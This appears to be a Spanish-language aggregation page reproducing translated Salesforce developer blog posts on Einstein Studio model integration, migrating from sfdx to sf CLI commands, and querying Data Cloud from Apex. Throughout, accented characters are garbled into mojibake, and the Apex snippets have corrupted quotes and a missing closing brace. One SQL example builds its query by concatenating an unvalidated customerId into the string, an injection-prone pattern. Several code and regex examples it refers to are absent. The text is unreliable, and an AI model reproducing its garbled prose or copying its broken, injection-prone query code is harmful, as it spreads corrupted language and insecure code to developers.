驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma f谩cil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos c贸mo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse f谩cilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como res煤menes de casos, respuestas de correo electr贸nico y descripciones de productos. Para obtener m谩s informaci贸n sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar f谩cilmente su modelo con Data Cloud para acceder a predicciones e informaci贸n en tiempo real y usar la informaci贸n de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. Tambi茅n puede usar un modelo generativo para crear campa帽as de correo electr贸nico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

驴Por qu茅 traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federaci贸n de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos r谩pidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimizaci贸n de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatizaci贸n de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en funci贸n de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos espec铆ficos en funci贸n de los datos de compromiso, como su historial de compras o actividad en l铆nea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a trav茅s del canal m谩s apropiado, incluido el correo electr贸nico, una aplicaci贸n m贸vil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como rese帽as de destinos y previsiones meteorol贸gicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qu茅 destinos atraen a clientes espec铆ficos y generar recomendaciones de correo electr贸nico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cu谩ndo es probable que un autom贸vil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campa帽as de marketing de los clientes en funci贸n de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicaci贸n para usar Einstein Studio con AWS SageMaker

En esta secci贸n, analizamos brevemente el flujo de trabajo de la aplicaci贸n con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Despu茅s de la autenticaci贸n, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingenier铆a de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es espec铆fico de Data Wrangler. Pero, 驴qu茅 sucede si es un cient铆fico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementaci贸n en un extremo de invocaci贸n.

Este extremo de invocaci贸n se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener m谩s informaci贸n sobre este flujo de trabajo, consulte el blog de AWS .

C贸mo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con an谩lisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aqu铆 hay un flujo que usa una acci贸n invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realiz贸 una compra reciente. Si se realiz贸 la compra, la acci贸n invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acci贸n invocable tambi茅n se puede llamar en Apex. Vea el ejemplo a continuaci贸n.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} “>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice an谩lisis ad hoc para obtener predicciones

Query API es otra forma r谩pida de obtener puntajes de predicci贸n para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicci贸n de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusi贸n

Einstein Studio es una plataforma de IA f谩cil de usar que permite a los equipos de ciencia e ingenier铆a de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que est茅 listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicaci贸n de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene m谩s de 10 a帽os de experiencia en la planificaci贸n, creaci贸n, lanzamiento y gesti贸n de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje autom谩tico y en la nube. Anteriormente trabaj贸 en la industria de servicios financieros en la ciudad de Nueva York. S铆guelo en LinkedIn o Twitter .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

隆Ya est谩 aqu铆 la CLI sf (v2) de Salesforce! 鈥 Parte 2 鈽侊笍

隆Ya est谩 aqu铆 la CLI sf (v2) de Salesforce! 鈥 Parte 2 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

隆Ya est谩 aqu铆 la CLI sf (v2) de Salesforce! 鈥 Parte 2 | Blog de desarrolladores de Salesforce

La CLI (interfaz de l铆nea de comandos) de Salesforce es la piedra angular del desarrollo de Salesforce y, como cualquier otra herramienta, evoluciona con el tiempo. Esta publicaci贸n es la segunda de una serie de blogs de dos partes sobre sf (v2), la nueva y mejorada CLI de Salesforce. En la Parte 1 , echamos un vistazo a las novedades de sf (v2) y, en esta parte final, exploraremos los nuevos comandos de estilo sf y patrones de banderas y compartiremos c贸mo puede migrar desde comandos de estilo sfdx y patrones basados en banderas. en nuestra experiencia con aplicaciones de muestra . Si bien la migraci贸n puede parecer intimidante a primera vista, compartiremos algunos consejos sobre c贸mo facilitar la transici贸n.

Conozca los comandos de estilo sf

Si ha estado usando la CLI durante alg煤n tiempo, probablemente comenz贸 a notar una serie de advertencias en los comandos que usa con frecuencia, como este:

sfdx force:source:push
Warning: We plan to deprecate this command in the future. Try using the "project deploy start" command instead.”>

Estos cambios son el resultado del trabajo continuo en Salesforce CLI Unification que comenz贸 hace varios lanzamientos (m谩s detalles en la primera parte de esta serie).

Desde entonces, cada vez que instala la CLI de Salesforce, obtiene los dos ejecutables ( sfdx y sf ). Puede usar cualquiera de estos ejecutables ya que la mayor铆a de los comandos son interoperables, pero le recomendamos que comience a usar sf en su trabajo diario para prepararse para el futuro.

Debido a que sf cubre m谩s que solo el desarrollo de la plataforma central, ofrece una nueva taxonom铆a de comandos simplificada que refleja el flujo de trabajo de un desarrollador t铆pico en lugar de las marcas, productos o funciones de Salesforce.

Un ejemplo pr谩ctico de esto es el comando sf org create . Con este nuevo comando, la intenci贸n es m谩s clara: llamas a la misma base de comandos con scratch , sandbox , shape , snapshot o user , mientras que en sfdx ten铆as que usar una combinaci贸n de diferentes comandos ( force:org:create , force:user:create ) y flags ( --type=scratch o --type=sandbox ) para obtener el mismo resultado.

Otra caracter铆stica interesante de sf es que incluye m谩s comandos visuales e interactivos, como la creaci贸n de organizaciones con la capacidad de reanudar operaciones de larga duraci贸n en caso de tiempo de espera.

Migrar al ejecutable sf

Adem谩s de simplemente cambiar el nombre del ejecutable de sfdx a sf , hay una serie de cambios que se aplican a los comandos CLI al actualizar sus proyectos. La documentaci贸n de la CLI de Salesforce proporciona una buena descripci贸n general de estos cambios, pero destacaremos los que nos afectaron durante la actualizaci贸n de nuestras aplicaciones de muestra.

Comandos sfdx comunes y sus equivalentes sf

En primer lugar, el tema force se elimin贸 de la mayor铆a de los comandos, lo cual es una buena noticia, ya que acorta los comandos. El otro cambio importante es que los temas, comandos y subcomandos, que antes estaban separados por dos puntos como en sfdx force:org:list , ahora est谩n separados por espacios, como en sf org list .

Mirando m谩s de cerca los comandos que usamos a diario cuando trabajamos en aplicaciones de muestra, aplicamos los siguientes cambios:

Comando sfdx heredado Comando sf equivalente Migraci贸n Comentarios
sfdx force:org:delete -p -u recipes sf org delete scratch -p -o recipes Se debe agregar el subcomando scratch .
El indicador de la organizaci贸n de destino cambia de -u a -o .
sfdx force:org:create -s -f config/project-scratch-def.json -d 30 -a recipes sf org create scratch -d -f config/project-scratch-def.json -y 30 -a recipes Se debe agregar el subcomando scratch .
El indicador "asignar organizaci贸n predeterminada" cambia de -s a -d .
El indicador de duraci贸n de la organizaci贸n borrador cambia de -d a -y .
sfdx force:source:push sf project deploy start Este es un cambio significativo, pero el nuevo comando funciona para todos los formatos de proyecto (fuente o metadatos).
Anteriormente, necesitaba comandos distintos.
sfdx force:user:permset:assign -n recipes sf org assign permset -n recipes El tema cambia de user a org y cambia el orden de los subcomandos.
sfdx force:data:tree:import -p data/data-plan.json sf data import tree -p data/data-plan.json
sfdx force:org:open -p lightning/n/Hello sf org open -p lightning/n/Hello
sfdx force:apex:test:run -c -r human -w 20 sf apex test run -c -r human -w 20

Si est谩 buscando otros comandos, la documentaci贸n de CLI proporciona una lista completa de comandos sfdx con sus equivalentes sf . Cada vez que reemplace un comando, aseg煤rese de revisar sus banderas en busca de cambios, especialmente si usa las banderas de formato corto (un solo car谩cter) ( -o en lugar de --target-org por ejemplo). Puede ejecutar cualquier comando con el indicador -h o --help para obtener su descripci贸n.

Automatice parte de la migraci贸n con expresiones regulares

鈩癸笍 Edici贸n del 27 de julio de 2023: en lugar de expresiones regulares, puede usar un script de migraci贸n como se documenta aqu铆 .

Cuando analizamos la migraci贸n de nuestros proyectos de aplicaciones de muestra , sab铆amos que necesitar铆amos automatizar parte del proceso, ya que hab铆a cerca de 1700 referencias a sfdx en m谩s de 200 archivos. Para obtener los resultados m谩s precisos aqu铆, aseg煤rese de agregar un espacio despu茅s de sfdx en su t茅rmino de b煤squeda y excluya la carpeta node_modules de su b煤squeda, como hicimos aqu铆:

Comenzar con una b煤squeda es un buen primer paso. Le ayuda a darse cuenta de que tendr谩 que migrar sus comandos en un par de lugares, como:

  • Scripts de integraci贸n continua
  • Guiones de desarrollo local
  • Documentaci贸n

Luego puede ir m谩s all谩 experimentando con una b煤squeda y reemplazo de expresiones regulares (RegEx) en VS Code. Este enfoque es una forma r谩pida de iniciar la migraci贸n. Funciona bien para la b煤squeda, pero no es perfecto como reemplazo, ya que algunos comandos requieren actualizaciones manuales. En cualquier caso, siempre pruebe el resultado de sus cambios antes de enviarlos a producci贸n.

Comience ejecutando esta b煤squeda RegEx y reemplace:

Tenga en cuenta el uso de tres grupos de captura encerrados entre par茅ntesis en la expresi贸n de b煤squeda y representados por signos de d贸lar seguidos de un n煤mero en la expresi贸n de reemplazo. Los grupos de captura le permiten retener din谩micamente ciertos valores (palabras como temas, comandos y subcomandos en nuestro caso) mientras realiza cambios en el resto de la l铆nea (reemplazando los separadores de dos puntos con espacios en nuestro caso).

Si desea obtener m谩s informaci贸n sobre este RegEx u otros, le recomiendo que consulte regex101.com , ya que proporciona una explicaci贸n de la sintaxis y un campo de juego para probar expresiones.

Aqu铆 hay un ejemplo de la entrada y salida en VS Code de la expresi贸n anterior (no olvide activar el modo RegEx como lo indica la flecha roja):

Notar谩 que esta primera ronda de b煤squeda y reemplazo no es perfecta ya que obtiene algunos caracteres de espacio adicionales en el texto reemplazado. Puede arreglar esto f谩cilmente ejecutando una segunda operaci贸n RegEx de b煤squeda y reemplazo como esta:

Una vez que ejecute este 煤ltimo RegEx, todav铆a hay un par de cambios manuales que necesitar谩 para operar. Como vimos anteriormente en la tabla de equivalencia de comandos, estas son las cosas clave a tener en cuenta:

  • Algunos comandos usan diferentes temas y subcomandos. Por ejemplo, sf user assign permset es incorrecto: user debe ser reemplazado por org .
  • Algunas banderas necesitan ser cambiadas. Por ejemplo, sf org create scratch -s -f config/project-scratch-def.json -d 30 -a recipes es incorrecto: el indicador -d debe reemplazarse por -y y el indicador -s debe reemplazarse por -d .

Afortunadamente, la mayor铆a de estos cambios no son demasiado dif铆ciles de aplicar y puede migrar con bastante rapidez a los comandos de estilo sf . Lo dejaremos con una vista de diferencias de GitHub que resume todos los cambios que fueron necesarios para migrar una de nuestras aplicaciones de muestra.

palabras de cierre

Eso es un resumen de esta breve descripci贸n general de la migraci贸n de los comandos sfdx -style a los comandos sf -style. Vislumbr贸 el beneficio del ejecutable sf y su nueva sintaxis. Esperamos que se beneficie de nuestra experiencia de migraci贸n y de nuestros consejos al actualizar sus proyectos.

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Libere el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de m煤ltiples sistemas en una 煤nica instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para an谩lisis, aprendizaje autom谩tico y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientaci贸n sobre c贸mo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario est谩ndar de Data Cloud, o que los ISV construyan su propio c贸digo para automatizar operaciones espec铆ficas de Data Cloud, como la resoluci贸n de identidades, la creaci贸n y ejecuci贸n de conocimientos calculados de Data Cloud o la segmentaci贸n.

Objetos de Salesforce Data Cloud frente a objetos est谩ndar/personalizados

Antes de analizar c贸mo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y c贸mo difieren con respecto a los objetos est谩ndar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos can贸nico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de c贸mo estos objetos se asignan entre s铆 y sus prop贸sitos en la documentaci贸n de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar vol煤menes de datos mucho m谩s grandes (en la magnitud de miles de millones de registros) en comparaci贸n con los objetos est谩ndar y personalizados regulares en la Plataforma de Salesforce. Los objetos est谩ndar/personalizados est谩n dise帽ados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinci贸n clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, a煤n puede lograr la automatizaci贸n de procesos suscribi茅ndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es com煤n entre los objetos de la nube de datos y los objetos de la plataforma es que est谩n construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de caracter铆sticas de la plataforma, como Salesforce Flow, Apex y Platform Events.

C贸mo consultar datos de Data Cloud en Apex

Antes de profundizar en alg煤n c贸digo, exploremos un ejemplo de caso de uso de una aplicaci贸n de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de c贸digo en esta publicaci贸n de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar an谩lisis, utilizar t茅cnicas de aprendizaje autom谩tico y obtener informaci贸n procesable de los datos.

El c贸digo de Apex en esta publicaci贸n asume una condici贸n importante: la nube de datos est谩 habilitada y el c贸digo de Apex se ejecuta en la organizaci贸n de la nube de datos y no en las organizaciones de Salesforce que est谩n conectadas a la organizaci贸n de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase est谩 disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo acceder a los datos de un objeto de nube de datos mediante una instrucci贸n SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = ” + customerId + ” ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } “>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una p谩gina Lightning de caso de objeto est谩ndar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del c贸digo

  • El m茅todo toma un par谩metro customerId , lo que indica que recupera los datos del panel solar para un cliente espec铆fico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operaci贸n de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un l铆mite de CPU de 10 segundos para transacciones sincr贸nicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, aseg煤rese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que est谩 trabajando) para limitar la cantidad de filas y evitar alcanzar el l铆mite de CPU de 10 segundos.
  • Si est谩 recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincr贸nica y aproveche el l铆mite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tama帽os de respuesta m谩s grandes para casos de uso en los que necesita extraer grandes vol煤menes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • Tambi茅n puede usar SOQL en lugar de SQL, pero aseg煤rese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

C贸mo buscar informaci贸n de perfil

Antes de analizar c贸mo buscar informaci贸n de perfil de Data Cloud en Apex, debemos comprender qu茅 es un perfil unificado.

Perfil unificado y resoluci贸n de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene informaci贸n diferente sobre ella, como diferentes direcciones de correo electr贸nico. Estos datos 煤nicos se denominan puntos de contacto . Los clientes como Martha est谩n representados por m煤ltiples registros de contacto y perfiles espec铆ficos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una funci贸n de resoluci贸n de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentaci贸n y activaciones en varios otros sistemas.

Buscar informaci贸n de perfil de Data Cloud

A continuaci贸n se muestra un c贸digo Apex de utilidad de ejemplo que busca informaci贸n de perfil. Tenga en cuenta que se utiliza el m茅todo queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } “>

Aqu铆 hay un fragmento de c贸digo de ejemplo que invoca el c贸digo de utilidad anterior al pasar los par谩metros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); “>

El c贸digo busca la informaci贸n de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del c贸digo

  • El m茅todo utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los par谩metros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de b煤squeda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar par谩metros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificaci贸n para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El m茅todo devuelve response.data , que representa los datos recuperados de la consulta

Importante consideraci贸n

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el c贸digo de Apex, ya que, de lo contrario, el m茅todo puede generar excepciones y errores internos del servidor.

驴C贸mo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular m茅tricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera informaci贸n calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de informaci贸n en Data Cloud: transmisi贸n e informaci贸n calculada.

Los conocimientos calculados son funciones que pueden calcular m茅tricas en datos hist贸ricos. Se procesan en lotes. Por ejemplo, en nuestra aplicaci贸n Solar Circles, podemos tener una visi贸n calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La informaci贸n de transmisi贸n se genera casi en tiempo real mediante el an谩lisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activaci贸n inmediata de acciones en los sistemas posteriores. Por ejemplo, la informaci贸n de transmisi贸n se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia m铆nima. Al aprovechar una acci贸n de datos en la transmisi贸n de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el m茅todo queryCalculatedInsights de la clase CdpQuery . A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del c贸digo

  • El m茅todo queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar informaci贸n calculada de Data Cloud.
  • El primer par谩metro es el nombre de API de la informaci贸n calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podr铆a reemplazarse por totalpowergenerated__cio .
  • Los siguientes par谩metros especifican dimensiones y medidas. Una dimensi贸n representa un campo o atributo en el que se basa la informaci贸n, mientras que una medida representa la m茅trica calculada. Proporcionar null para estos par谩metros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificaci贸n para el conjunto de resultados, pero en este fragmento de c贸digo, se establece en null .
  • Los par谩metros opcionales adicionales incluyen filtrar el conjunto de resultados a un 谩mbito o tipo m谩s espec铆fico y especificar la cantidad de elementos que se devolver谩n y la cantidad de filas que se omitir谩n antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideraci贸n

  • Aseg煤rese de proporcionar el nombre de API correcto para la informaci贸n. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusi贸n

En esta publicaci贸n de blog, brindamos una descripci贸n general de c贸mo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de c贸digo y los puntos destacados demuestran enfoques pr谩cticos para acceder y consultar datos de objetos de Data Cloud.

La publicaci贸n tambi茅n destaca las mejores pr谩cticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los l铆mites de la CPU, utilizar el procesamiento asincr贸nico para grandes conjuntos de datos y garantizar la denominaci贸n correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar informaci贸n calculada, crear reglas de resoluci贸n de identidad y segmentaci贸n en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

脷ltima actualizaci贸n el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

